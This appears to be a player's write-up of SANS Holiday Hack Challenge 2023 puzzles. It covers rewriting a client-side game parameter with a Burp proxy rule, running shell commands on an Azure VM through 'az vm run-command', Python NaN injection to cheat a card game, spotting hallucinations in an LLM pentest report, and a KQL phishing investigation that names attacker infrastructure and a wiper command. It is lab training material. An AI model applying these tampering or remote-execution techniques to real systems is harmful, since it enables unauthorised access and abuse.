This report was created on KringleCraft.com, /ˈkrɪŋ.ɡəl krɑːft ˈkɑːm/. An online CTF solution editor and report generator inspired by SANS Holiday Hack Challenge & KringleCon.
Makes creating solutions and reports easy and fun 😀
KringleCon 6: Geese A-Lei'ing! This year, Santa and the elves have moved to an island archipelago near the equator in the Pacific Ocean. On these Geese Islands, Santa's team is using a new Artificial Intelligence tool called ChatNPT to prepare for the annual gift-giving extravaganza. The elves need your help in making sure that they apply ChatNPT appropriately.
I’m a Cyber Security Fanatic & Generic IT Fairy. I love doing riddles and solving problems. I have specialized in the area of cyber security but I’m far away from being an expert. I guess my average day is missing 8 additional hours, I do have a lovely family which is always number one! What’s left of the day I use to discover new things, try out software or even play CTF like stuff.
This time I would like to submit not just a report, but a report including a report generator.
Have a look at the generator behind it. For a quick overview, you can use the help pages or click your way interactively through the world of the current Kringle Con.
It allows you to do really cool things like
I have even imported my old submissions for 2022 and 2021.
Of course I made intensive use of ChatGPT as requested. My prompts (as well as the answers) are labelled accordingly.
Enjoy reading and thank you very much for these wonderful days. I can't imagine Christmas without Santa and the elves.
Ben
Visit Christmas Island and talk to Morcel Nougat about this great new game. Team up with another player and show Morcel how to win against Santa!
Hey there, I'm Morcel Nougat, elf extraordinaire!
You won't believe this, but we're on a magical tropical island called Christmas Island, and it even has snow!
I'm so glad ChatNPT suggested we come here this year!
Santa, some elves, and I are having a snowball fight, and we'd love you to join us. Santa's really good, so trust me when I say it's way more fun when played with other people.
But hey, if you can figure out a way to play solo by tinkering with client side variables or parameters to go solo mode, go for it!
There's also ways to make the elves' snowballs do no damage, and all kinds of other shenanigans, but you didn't hear that from me.
Just remember, it's all about having fun and sharing the joy of the holiday season with each other.
So, are you in? We'd really love your company in this epic snowball battle!
Morcel already gave us the tip to experiment with the parameters. So let's take a look at which URL is called up when we start the game (we can use the developer tools built into our favorite browser, right click in the game window and select inspect
or view source
, just be aware of selecting the iframe window):
So the game is using the following URL: https://hhc23-snowball.holidayhackchallenge.com/room/?username=myusername&roomId=9933a92f&roomType=private&gameType=co-op&id=myID&dna=ATATATTAATATATATATATATATATATATATCGGCCGATATATATATATATTACGATATATATATATATGCATATTAGCATATATATATATATGCATATATATATATATGCATATATTA&singlePlayer=false
Of course we can look into the source code, but the parameter singlePlayer
looks exactly like what we need.
A very easy way to change this on the fly is BurpSuite. We switch to the Proxy tab and then to Proxy Settings. We then enter a rule so that every false
is turned into a true
. Of course, there is a nicer way to do this, but sometimes a simple, straightforward solution is enough.
If we now start the game again, we no longer have to wait for a second player and can go straight to Santa and the elves in the snowball fight.
It wasn't an easy fight, but we were able to prove ourselves.
After successful completion, Morcel tells us:
You're like a snowball fighting ninja! A real-life legend. Can I have your autograph!?
Talk to Jingle Ringford on Christmas Island and get your bearings at Geese Islands
Welcome to the Geese Islands and the 2023 SANS Holiday Hack Challenge!
I'm Jingle Ringford, one of Santa's many elves.
Santa asked me to meet you here and give you a short orientation to this festive event.
Before you head back to your boat, I'll ask you to accomplish a few simple tasks.
First things first, here's your badge! It's that starfish in the middle of your avatar.
Great - now you're official!
Click on the badge on your avatar. That's where you will see your Objectives, Hints, and Conversations for the Holiday Hack Challenge.
We've also got handy links to some awesome talks and more there for you!
Next, pick up that fishing pole over there in the sand. That will come in handy when you're sailing around the islands.
We quickly run over to the fishing rod and get it. Then we talk to Jingle Ringford again.
Fantastic!
OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions.
We do this immediately and access the terminal.
Welcome to the first terminal challenge !
This one is intentionalIy simple. All we need you to do is:
Click in the upper pane of this terminal
Type answer and press Enter
elf@6a8b98586eba:~$
Let's do exactly that.
Perfect! Your orientation is now complete!
Head back to your boat or click on the anchor icon on the left of the screen to set sail for Frosty's Beach where Santa's waiting for you. I've updated your boat's compass to guide the way.
As you sail to each island, talk to the goose of that island to receive a colorful lei festooning the masts on your ship.
Safe travels my friend and remember, relax, enjoy the sun, and most importantly, have FUN!
Help Sparkle Redberry with some Azure command line skills. Find the elf and the terminal on Christmas Island.
Hey, Sparkle Redberry here! So, I've been trying to learn about Azure and the Azure CLI and it's driving me nuts.
Alabaster Snowball decided to use Azure to host some of his fancy new IT stuff on Geese Islands, and now us elves have to learn it too.
Anyway, I know it's important and everyone says it's not as difficult as it seems, but honestly it still feels like quite a challenge for me.
Alabaster sent us this Azure CLI reference as well. It's super handy, he said. Honestly, it just confuses me even more.
If you can spare a moment, would you mind giving me a hand with this terminal? I'd be really grateful! Pretty please, with holly leaves on top!
Sparkle Redberry has the following hint for you as well:
The Azure CLI tools come with a builtin help system, but Microsoft also provides this handy cheatsheet.
Let's boot the terminal:
You may not know this but the Azure cli help messages are very easy to access. First, try typing:
$ az help | less
We'll do so and exit less by pressing q
elf@076e052cf8da:~$ az help|less
elf@076e052cf8da:~$
Next task:
Next, you've already been configured with credentials. Use 'az' and your 'account' to 'show' your current details and make sure to pipe to less ( | less )
We just type
elf@076e052cf8da:~$ az account show
{
"environmentName": "AzureCloud",
"id": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"isDefault": true,
"name": "northpole-sub",
"state": "Enabled",
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"user": {
"name": "northpole@northpole.invalid",
"type": "user"
}
}
elf@076e052cf8da:~$
Next task:
Excellent! Now get a list of resource groups in Azure.
For more information:
https://learn.microsoft.com/en-us/cli/azure/group?view=azure-cli-latest
The help page says:
az group
- Manage resource groups and template deployments.
elf@076e052cf8da:~$ az group list
[
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1",
"location": "eastus",
"managedBy": null,
"name": "northpole-rg1",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg2",
"location": "westus",
"managedBy": null,
"name": "northpole-rg2",
"properties": {
"provisioningState": "Succeeded"
},
"tags": {}
}
]
elf@076e052cf8da:~$
And the next task:
Ok, now use one of the resource groups to get a list of function apps. For more information:
https://learn.microsoft.com/en-us/cli/azure/functionapp?view=azure-cli-latest
Note: Some of the information returned from this command relates to other cloud assets used by Santa and his elves.
The help page gives us the hints:
az functionapp list
- List function apps. (needs resource group id as parameter)
elf@076e052cf8da:~$ az functionapp list -g northpole-rg1
...
"slotSwapStatus": null,
"state": "Running",
"storageAccountRequired": false,
"suspendedTill": null,
"tags": {
"create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl",
"project": "northpole-ssh-certs"
},
"targetSwapSlot": null,
"trafficManagerHostNames": null,
"type": "Microsoft.Web/sites",
"usageState": "Normal",
"virtualNetworkSubnetId": null,
"vnetContentShareEnabled": false,
"vnetImagePullEnabled": false,
"vnetRouteAllEnabled": false
}
]
Next one:
Find a way to list the only VM in one of the resource groups you have access to.
For more information:
https://learn.microsoft.com/en-us/cli/azure/vm?view=azure-cli-latest
The help page says:
az vm list
- List details of Virtual Machines. (and resource group as well)
elf@076e052cf8da:~$ az vm list -g northpole-rg2
...
"storageProfile": {
"imageReference": {
"offer": "UbuntuServer",
"publisher": "Canonical",
"sku": "16.04-LTS",
"version": "latest"
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "FromImage",
"managedDisk": {
"storageAccountType": "Standard_LRS"
},
"name": "VM1_OsDisk_1"
}
},
"vmId": "e5f16214-18be-4a31-9ebb-2be3a55cfcf7"
},
"resourceGroup": "northpole-rg2",
"tags": {}
}
]
elf@076e052cf8da:~$
Next task:
Find a way to invoke a run-command against the only Virtual Machine (VM) so you can RunShellScript and get a directory listing to reveal a file on the Azure VM.
For more information:
https://learn.microsoft.com/en-us/cli/azure/vm/run-command?view=azure-cli-latest#az-vm-run-command-invoke
The help page has another hint for us:
az vm run-command invoke
- Execute a specific run command on a vm. (this time we need to pass parameter for resource group, vm name and command-id as well)
elf@076e052cf8da:~$ az vm run-command invoke -g northpole-rg2 -n NP-VM1 --command-id RunShellScript --scripts "ls"
{
"value": [
{
"code": "ComponentStatus/StdOut/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "bin\netc\nhome\njinglebells\nlib\nlib64\nusr\n",
"time": 1701987173
},
{
"code": "ComponentStatus/StdErr/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "",
"time": 1701987173
}
]
}
elf@076e052cf8da:~$
Yeah, we did it!
Great, you did it all!
Sparkle Redberry gives us this along the way:
Wow, you did it!
It makes quite a bit more sense to me now. Thank you so much!
That Azure Function App URL you came across in the terminal looked interesting.
It might be part of that new project Alabaster has been working on with the help of ChatNPT.
Let me tell you, since he started using ChatNPT he's been introducing a lot of amazing innovation across the islands.
Knowing Alabaster, he'll be delighted to tell you all about it! I think I last saw him on Pixel island.
By the way, as part of the Azure documentation he sent the elves, Alabaster also noted that if Azure CLI tools aren't available in an Azure VM we should use the Azure REST API instead.
I'm not really sure what that means, but I guess I know what I'll be studying up on next.
Noel Boetie used ChatNPT to write a pentest report. Go to Christmas Island and help him clean it up.
Hey there, Noel Boetie speaking! I recently tried using ChatNPT to generate my penetration testing report.
It's a pretty nifty tool, but there are a few issues in the output that I've noticed.
I need some guidance in finding any errors in the way it generated the content, especially those odd hallucinations in the LLM output.
I know it's not perfect, but I'd really appreciate the extra eyes on this one.
Some of the issues might be subtle, so don't be afraid to dig deep and ask for further clarification if you're unsure.
I've heard that you folks are experts about LLM outputs and their common issues, so I trust you can help me with this.
Your input will be invaluable to me, so please feel free to share any insights or findings you may have.
I'm looking forward to working with you all and improving the quality of the ChatNPT-generated penetration testing report.
Thanks in advance for your help! I truly appreciate it! Let's make this report the best it can be!
Let's ask for a little background knowledge:
PROMPT: Can you explain in a few sentences what hallucinations caused by LLM are? Can you also give a meaningful example related to IT security?
ChatGPT: Hallucinations caused by large language models (LLMs) refer to instances where these models generate information that is incorrect, misleading, or nonsensical. These hallucinations occur because LLMs, like ChatGPT, generate responses based on patterns in the data they were trained on, rather than accessing or understanding real-world facts. This means they can confidently assert false or made-up information as if it were true.
A meaningful example related to IT security could be a scenario where an LLM confidently provides incorrect guidance on a cybersecurity issue. For instance, if asked about best practices for securing a computer network, an LLM might "hallucinate" and suggest a security protocol that sounds plausible but is actually outdated, ineffective, or even harmful. This misinformation could lead to inadequate security measures, leaving the network vulnerable to attacks. It's crucial for users to verify any critical information provided by LLMs with reliable, up-to-date sources.
So let's analyse every single finding in the report and look out for anomalies. In the end, we discover hallucinations in three entries:
... This method is insecure. By intercepting HTTP request traffic on 88555/TCP, malicious actors can exploit this vulnerability by crafting and submitting specially serialized objects that can lead to remote code execution upon deserialization. ...
There are a total of 65,536 TCP ports, numbered from 0 to 65535. So a port number 88555 does not make any sense and must be a hallucination.
... We found a preponderance of responses where special characters such as <, >, {, and } are returned in application responses without sanitization or encoding. Although such responses contain JSON data, they are processed unsafely by client-side scripts where special characters are not properly sanitized and eventually evaluated as valid HTML. ...
That was not entirely obvious. But the connection between JSON data and the insecure processing is not plausible so this must be a hallucination.
... When given an HTTP 7.4.33 request, and no Host header or one with no value, the server returns its private IP address as part of Location header. ...
There are different HTTP versions available like
HTTP 7.4.33 must have been mixed with some PHP version number from a previous finding. So this is the third and last hallucination.
Noel Boetie tells us the following after successful completion:
Great job on completing that challenge! Ever thought about how your newfound skills might come into play later on? Keep that mind sharp, and remember, today's victories are tomorrow's strategies!
Visit Ginger Breddie in Santa's Shack on Christmas Island to help him with some basic Linux tasks. It's in the southwest corner of Frosty's Beach.
Hey, welcome to Santa's Surf Shack on tropical Christmas Island! I'm just hanging ten here, taking it easy while brushing up on my Linux skills.
You ever tried getting into Linux? It's a super cool way to play around with computers.
Can you believe ChatNPT suggested this trip to the Geese Islands this year? I'm so thrilled!
Kudos to ChatNPT, eh? The sunshine, the waves, and my surfboard – simply loving it!
So, what do you have planned? Care to join me in a Linux session?
Let's power up the terminal.
The North Pole 🎁 Present Maker:
All the presents on this system have been stolen by trolls. Capture trolls by following instructions here and 🎁's will appear in the green bar below. Run the command "hintme" to receive a hint.
Type "yes" to begin:
Of course we immediately enter yes
.
Perform a directory listing of your home directory to find a troll and retrieve a present!
Since we rely on artificial intelligence, we ask ChatGPT:
Note: ChatGPT provides many more explanations of the respective prompts. However, these are deliberately excluded here and you are welcome to try them out for yourself.
PROMPT: I want to perform a directory listing of my home directory in Linux, what command should I enter?
ChatGPT: To perform a directory listing of your home directory in Linux, you can use the ls command.
elf@4f98def60974:~$ ls
HELP troll_19315479765589239 workshop
That was easy. We get a new task:
Now find the troll inside the troll.
Artificial intelligence should also be able to do this:
PROMPT: I want to search a specific file for a specific word. What do I have to enter?
ChatGPT: To search for a specific word within a file in Linux, you can use the grep command. This command is very powerful and widely used for searching text in files. Here's the basic syntax:
grep "word" filename
elf@4f98def60974:~$ grep troll troll_19315479765589239
troll_24187022596776786
The next task awaits:
Great, now remove the troll in your home directory.
Who do we ask? ChatGPT, of course.
PROMPT: I am supposed to delete a file in my home directory. Which command do I use here?
ChatGPT: To delete a file in your home directory in Linux, you can use the rm
(remove) command. Here's the basic syntax:
rm filename
elf@4f98def60974:~$ rm troll_19315479765589239
elf@4f98def60974:~$
Another task:
Print the present working directory using a command.
Let's pass that on 1:1:
PROMPT: I want to print the present working directory using a command.
ChatGPT: To print the present working directory in a Linux environment, you use the pwd
command, which stands for "print working directory." This command displays the full pathname of your current directory.
elf@4f98def60974:~$ pwd
/home/elf
That was easy. What's next?
Good job but it looks like another troll hid itself in your home directory. Find the hidden troll!
PROMPT: This time I want to find a hidden file that has "troll" in its name. How do I do that?
ChatGPT: To find a hidden file with "troll" in its name in Linux, you can use the find command combined with a pattern that matches your criteria. ... For example, to search for hidden files with "troll" in their names starting from your home directory, you would use:
find ~ -name ".*troll*"
We simply copy it over.
elf@4f98def60974:~$ find ~ -name ".*troll*"
/home/elf/.troll_5074624024543078
And another task for us:
Excellent, now find the troll in your command history.
PROMPT: I want to find the term "troll" in my command history. How do I do that?
ChatGPT: To search for the term "troll" in your command history in a Linux environment, you can use the history
command in combination with grep
. This will allow you to filter and display only those commands in your history that contain the term "troll". Here's how you do it:
history | grep "troll"
elf@4f98def60974:~$ history | grep "troll"
1 echo troll_9394554126440791
3 grep troll troll_19315479765589239
4 rm troll_19315479765589239
6 find ~ -name ".*troll*"
7 history | grep "troll"
elf@4f98def60974:~$
Another task, yeah!
Find the troll in your environment variables.
PROMPT: Now I want to find the term "troll" in my environment variables. How do I do that?
ChatGPT: To search for the term "troll" in your environment variables on a Linux system, you can use the printenv
command piped into grep
. This combination allows you to filter and display environment variables containing the specified term. Here's how you can do it:
printenv | grep "troll"
elf@4f98def60974:~$ printenv | grep "troll"
z_TROLL=troll_20249649541603754
elf@4f98def60974:~$
And one more:
Next, head into the workshop.
We translate that a little:
PROMPT: I would like to change to the "workshop" directory. What do I enter?
ChatGPT: To change to the "workshop" directory in a Linux environment, you would use the cd
(change directory) command. If "workshop" is a subdirectory of your current directory:
cd workshop
elf@4f98def60974:~$ cd workshop
elf@4f98def60974:~/workshop$
And
A troll is hiding in one of the workshop toolboxes. Use "grep" while ignoring case to find which toolbox the troll is in.
Okay, we also need to make that a little clearer:
PROMPT: I would like to search all files with the term "toolbox" in the name for the word "troll". The search should be case-insensitive. What do I enter?
ChatGPT: To search for the word "troll" inside all files with "toolbox" in their names, while making the search case-insensitive, you can combine the find
and grep
commands in Linux. Here's how you do it:
find /path/to/search -type f -iname "*toolbox*" -exec grep -i "troll" {} +
Now it's getting complicated. Let's copy this 1:1 into the terminal:
elf@4f98def60974:~/workshop$ find . -type f -iname "*toolbox*" -exec grep -i "troll" {} +
./toolbox_191.txt:tRoLl.4056180441832623
elf@4f98def60974:~/workshop$
What do we get now?
A troll is blocking the present_engine from starting. Run the present_engine binary to retrieve this troll.
PROMPT: I want to run the "present_engine" binary. How do I do this?
*ChatGPT: *To run a binary named "presentengine" in Linux, you need to ensure that the binary is executable and then execute it from the command line. ... Navigate to the Directory Containing the Binary: ... Make the Binary Executable (If Necessary): ... If you are in the same directory as the binary, run it with:
cd /path/to/directory
chmod +x present_engine
./present_engine
So
elf@4f98def60974:~/workshop$ chmod +x present_engine
elf@4f98def60974:~/workshop$ ./present_engine
troll.898906189498077
elf@4f98def60974:~/workshop$
And
Trolls have blown the fuses in /home/elf/workshop/electrical. cd into electrical and rename blown_fuse0 to fuse0.
PROMPT: I want to rename the file "blown_fuse0" to "fuse0". What should I enter?
*ChatGPT: *To rename the file "blownfuse0" to "fuse0", you can use the mv
(move) command in Linux, which is also used for renaming files. Here's the command you should enter:
mv blown_fuse0 fuse0
elf@4f98def60974:~/workshop$ cd electrical/
elf@4f98def60974:~/workshop/electrical$ mv blown_fuse0 fuse0
elf@4f98def60974:~/workshop/electrical$
New task:
Now, make a symbolic link (symlink) named fuse1 that points to fuse0
PROMPT: Now, I want to make a symbolic link (symlink) named "fuse1" that points to "fuse0". What should I enter?
ChatGPT: To create a symbolic link (symlink) named "fuse1" that points to the file "fuse0", you can use the ln
command with the -s
option in Linux. The -s
option creates a symbolic link. Here's the command:
ln -s fuse0 fuse1
elf@4f98def60974:~/workshop/electrical$ ln -s fuse0 fuse1
elf@4f98def60974:~/workshop/electrical$
Hooray!
Make a copy of fuse1 named fuse2.
PROMPT: I want to make a copy of fuse1 named fuse2. What should I enter?
ChatGPT: To make a copy of the file named "fuse1" and name the copy "fuse2", you can use the cp (copy) command in Linux. Here's the command you should enter:
cp fuse1 fuse2
elf@4f98def60974:~/workshop/electrical$ cp fuse1 fuse2
elf@4f98def60974:~/workshop/electrical$
Easy! And now?
We need to make sure trolls don't come back. Add the characters "TROLL_REPELLENT" into the file fuse2.
That needs a little translation again.
PROMPT: I want to add the characters "TROLL_REPELLENT" into the file fuse2. How do I do this?
*ChatGPT: *To append the text "TROLLREPELLENT" to the end of the file fuse2, you can use the echo
command combined with the append redirection operator >>
in Linux. Here's the command you should enter:
echo "TROLL_REPELLENT" >> fuse2
elf@4f98def60974:~/workshop/electrical$ echo "TROLL_REPELLENT" >> fuse2
elf@4f98def60974:~/workshop/electrical$
The next challenge can be solved with the knowlege we already got:
elf@4f98def60974:~/workshop/electrical$ find /opt/troll_den -type f -iname "*troll*"
/opt/troll_den/plugins/embeddedjsp/src/main/java/org/apache/struts2/jasper/compiler/ParserController.java
/opt/troll_den/apps/showcase/src/main/resources/tRoLl.6253159819943018
/opt/troll_den/apps/rest-showcase/src/main/java/org/demo/rest/example/IndexController.java
/opt/troll_den/apps/rest-showcase/src/main/java/org/demo/rest/example/OrdersController.java
elf@4f98def60974:~/workshop/electrical$
I will abbreviate the remaining outputs even further:
A new one:
Find the file somewhere in /opt/troll_den that is owned by the user troll.
PROMPT: I want to find the file somewhere in /opt/troll_den
that is owned by the user troll.
ChatGPT: To find a file in the /opt/troll_den
directory (and its subdirectories) that is owned by the user named "troll", you can use the find
command in Linux with the -user
option. Here's the command you should use:
find /opt/troll_den -user troll
elf@4f98def60974:~/workshop/electrical$ find /opt/troll_den -user troll
/opt/troll_den/apps/showcase/src/main/resources/template/ajaxErrorContainers/tr0LL_9528909612014411
elf@4f98def60974:~/workshop/electrical$
Find the file created by trolls that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den.
PROMPT: I want to find the file that is greater than 108 kilobytes and less than 110 kilobytes located somewhere in /opt/troll_den
.
ChatGPT: To find a file in the /opt/troll_den
directory that is created by a user named "troll" and has a size greater than 108 kilobytes but less than 110 kilobytes, you can use the find
command in Linux with multiple criteria. Here's the command:
find /opt/troll_den -size +108k -size -110k
elf@4f98def60974:~/workshop/electrical$ find /opt/troll_den -size +108k -size -110k
/opt/troll_den/plugins/portlet-mocks/src/test/java/org/apache/t_r_o_l_l_2579728047101724
elf@4f98def60974:~/workshop/electrical$
List running processes to find another troll.
PROMPT: I want to list running processes containing the term "troll".
ChatGPT: To list running processes that contain the term "troll", you can use the ps command in combination with grep in a Linux environment. Here's how you can do it:
ps aux | grep "troll"
elf@4f98def60974:~/workshop/electrical$ ps -ef | grep 'troll'
elf 32023 32020 0 12:49 pts/2 00:00:00 /usr/bin/python3 /14516_troll
elf 34451 836 0 12:53 pts/3 00:00:00 grep --color=auto troll
elf@4f98def60974:~/workshop/electrical$
Wait, the task was apparently not completed successfully, although we have found the result. There seems to be an error here. We'll try it again:
elf@4f98def60974:~/workshop/electrical$ ps -e
PID TTY TIME CMD
1 pts/0 00:00:00 tmuxp
32023 pts/2 00:00:00 14516_troll
34078 pts/3 00:00:00 ps
elf@4f98def60974:~/workshop/electrical$
Okay. Now it's working.
The 14516_troll process is listening on a TCP port. Use a command to have the only listening port display to the screen.
Prompt: Show me a command to have listening ports displayed in my console.
ChatGPT: To display listening ports on your system, you can use either the netstat
or the ss
command in Linux. Both provide detailed network statistics and can be used to list active listening ports. If netstat is installed on your system, you can use the following command:
netstat -tuln
elf@5208be842521:~/workshop/electrical$ netstat -antup
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN 2408/python3
elf@5208be842521:~/workshop/electrical$
The service listening on port 54321 is an HTTP server. Interact with this server to retrieve the last troll.
Prompt: The service listening on port 54321 is an HTTP server. Interact with this server.
ChatGPT: To interact with an HTTP server listening on port 54321, you can use tools like curl
or wget
in the Linux command line. These tools allow you to send HTTP requests to the server. If you want to perform a simple GET request to retrieve data from the server, here are the commands you can use:
curl http://localhost:54321
elf@5208be842521:~/workshop/electrical$ curl http://localhost:54321
troll.73180338045875elf@5208be842521:~/workshop/electrical$
It looks like we're almost at the end.
Your final task is to stop the 14516_troll process to collect the remaining presents.
Prompt: Your final task is to stop the 14516_troll process to collect the remaining presents.
*ChatGPT: *To stop a process in Linux, you can use the kill
command. The process ID (PID) is typically a number, so assuming "14516" is the correct PID for the "troll" process, here's how you can stop it: ... If you prefer to use the process name instead of the PID:
pkill -f 14516_troll
We did it. And we actually let artificial intelligence do everything. We just helped it a little to understand the commands correctly.
Congratulations, you caught all the trolls and retrieved all the presents!
Type "exit" to close...
What does Ginger Breddie say about this?
Wow, if your surfing skills are as good as your Linux skills, you could be winning competitions!
Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!
Hey there, stranger! Fancy a game of cards? Luck's on your side today, I can feel it.
Step right up, test your wit! These cards could be your ticket to fortune.
Trust me, I've got a good eye for winners, and you've got the look of luck about you.
Plus, I'd wager you've never played this game before, as this isn't any ordinary deck of cards. It's made with Python.
The name of the game is to bamboozle the dealer.
So whad'ya think? Are you clever enough?
Shifty McShuffles also gives us following hints:
Shifty said his deck of cards is made with Python. Surely there's a weakness to give you the upper hand in his game.
Try to outsmart Shifty by sending him an error he may not understand.
We start the game and the first thing we see is the instructions. The aim is to score points on the smallest and largest card, while cards of the same height do not count. We quickly realize that we can't win. So let's read the article https://www.tenable.com/blog/python-nan-injection.
A NaN like this can mess up the entire program logic in Python. Let's try it out in the game without using more advanced tools.
So let's give our cards the following values: NaN, 0, 1 , 2, 3
.
And we've just scored points because our NaN value is both the highest and the lowest value.
Shifty McSuhffles tells us
Well, you sure are more clever than most of the tourists that show up here.
I couldn't swindle ya, but don't go telling everyone how you beat me!
An elf's gotta put food on the table somehow, and I'm doing the best I can with what I got.
Use Azure Data Explorer to uncover misdeeds in Santa's IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.
Greetings, rookie. Tangle Coalbox of Kusto Detective Agency here.
I've got a network infection case on Film Noir Island that needs your expertise.
Seems like someone clicked a phishing link within a client's organization, and trouble's brewing.
I'm swamped with cases, so I need an extra pair of hands. You up for the challenge?
You'll be utilizing the Azure Data Explorer and those KQL skills of yours to investigate this incident.
Before you start, you'll need to (create a free cluster).
Keep your eyes peeled for suspicious activity, IP addresses, and patterns that'll help us crack this case wide open.
Remember, kid, time is of the essence. The sooner we can resolve this issue, the better.
If you run into any problems, just give me a holler, I've got your back.
Good hunting, and let's bring this cyber criminal to justice.
Once you've got the intel we need, report back and we'll plan our next move. Stay sharp, rookie.
Tangle Coalbox give us following hints as well:
Do you need to find something that happened via a process? Pay attention to the ProcessEvents table!
Once you get into the Kusto trainer, click the blue Train me for the case button to get familiar with KQL.
Looking for a file that was created on a victim system? Don't forget the FileCreationEvents table.
Before we start here, we need to make some preparations:
I will skip the train me section as it is self-explanatory and serves to familiarize yourself with Kusto Query Language.
Here are the individual tasks with the respective solutions and explanations:
Here's a little puzzle to warm you up with KQL and feel the pulse of the collected data. The Geese Islands network boasts a robust team putting in some serious hustle, and you can unmistakably witness their dedication mirrored in the tasks they bring to life. The delightful keyboard clicks in the morning, truly something to love, don't you agree? Now, presenting a snappy challenge: figure out the number of Craftsperson Elf's in the organization that are working from laptops.
To do this, we look in the Employees
table and filter by role
and hostname
Employees
| where role == "Craftsperson Elf"
| where hostname has "LAPTOP"
| count
How many Craftperson Elf's are working from laptops?
25
An urgent alert has just come in, A user clicked through to a potentially malicious URL involving one user. This message hints at a possible security incident, leaving us with critical questions about the user's intentions, the nature of the threat, and the potential risks to Santa's operations. Your mission is to lead our security operations team, investigate the incident, uncover the motives behind email, assess the potential threats, and safeguard the operations from the looming cyber threat.
The clock is ticking, and the stakes are high - are you up for this exhilarating challenge? Your skills will be put to the test, and the future of Geese Island's digital security hangs in the balance. Good luck!
The alert says the user clicked the malicious link http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx
To do this, we look in the Email
table and filter by the link name
Email
| where link == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
What is the email address of the employee who received this phishing email?
alabaster_snowball@santaworkshopgeeseislands.org
What is the email address that was used to send this spear phishing email?
cwombley@gmail.com
What was the subject line used in the spear phishing email?
[EXTERNAL] Invoice foir reindeer food past due
Nicely done! You found evidence of the spear phishing email targeting someone in our organization. Now, we need to learn more about who the victim is!
If the victim is someone important, our organization could be doomed! Hurry up, let's find out more about who was impacted!
To do this, we look in the Employees
table and filter for Alabaster's email address
Employees
| where email_addr == "alabaster_snowball@santaworkshopgeeseislands.org"
What is the role of our victim in the organization?
Head Elf
What is the hostname of the victim's machine?
Y1US-DESKTOP
What is the source IP linked to the victim?
10.10.0.4
The victim is Alabaster Snowball? Oh no... that's not good at all! Can you try to find what else the attackers might have done after they sent Alabaster the phishing email?
Use our various security log datasources to uncover more details about what happened to Alabaster.
First we look in the OutboundNetworkEvents
table and filter according to the URL. Then we note the time and look in the FileCreationEvents
table to see what happened on Alabaster's computer a few minutes before and after.
OutboundNetworkEvents
| where url == "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
FileCreationEvents
| where hostname == "Y1US-DESKTOP"
| where timestamp between (datetime("2023-12-02T10:05:00Z") .. datetime("2023-12-02T10:20:00Z"))
What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs!
2023-12-02T10:12:42Z
What file is dropped to Alabaster's machine shortly after he downloads the malicious file?
giftwrap.exe
Well, that's not good. It looks like Alabaster clicked on the link and downloaded a suspicious file. I don't know exactly what giftwrap.exe does, but it seems bad.
Can you take a closer look at endpoint data from Alabaster's machine? We need to figure out exactly what happened here. Word of this hack is starting to spread to the other elves, so work quickly and quietly!
First we look in the ProcessEvents
table to see what else was happening on Alabaster's computer at the time. We then use the keyword net
to search for processes that may have been used to scan the network drives.
ProcessEvents
| where hostname == "Y1US-DESKTOP"
| where timestamp between (datetime("2023-12-02T10:05:00Z") .. datetime("2023-12-02T12:20:00Z"))
ProcessEvents
| where process_commandline has "net"
| where parent_process_hash == "614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f"
The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?
113.37.9.17
What is the timestamp when the attackers enumerated network shares on the machine?
2023-12-02T16:51:44Z
What was the hostname of the system the attacker moved laterally to?
NorthPolefileshare
Wow, you're unstoppable! Great work finding the malicious activity on Alabaster's machine. I've been looking a bit myself and... I'm stuck. The messages seem to be garbled. Do you think you can try to decode them and find out what's happening?
Look around for encoded commands. Use your skills to decode them and find the true meaning of the attacker's intent! Some of these might be extra tricky and require extra steps to fully decode! Good luck!
If you need some extra help with base64 encoding and decoding, click on the Train me for this case button at the top-right of your screen.
So let's search the ProcessEvents
table for commands that contain the keyword enc
. As there are only a few entries, we need to filter by time period.
We use https://www.base64decode.org/ to decode the payload.
And then we also ask the AI to make the mangled commands readable for us: Can you decrypt that statement? xy
ProcessEvents
| where hostname == "Y1US-DESKTOP"
| where process_commandline has "enc"
When was the attacker's first base64 encoded PowerShell command executed on Alabaster's machine?
2023-12-24T16:07:47Z
What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)
NaughtyNiceList.txt
The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?
giftbox.com
Wow! You decoded those secret messages with easy! You're a rockstar. It seems like we're getting near the end of this investigation, but we need your help with one more thing...
We know that the attackers stole Santa's naughty or nice list. What else happened? Can you find the final malicious command the attacker ran?
For this we can use the output from the previous query and decode the Base64 payload again.
ProcessEvents
| where hostname == "Y1US-DESKTOP"
| where process_commandline has "enc"
What is the name of the executable the attackers used in the final malicious command?
downwithsanta.exe
What was the command line flag used alongside this executable?
--wipeall
Congratulations, you've cracked the Kusto detective agency section of the Holiday Hack Challenge!
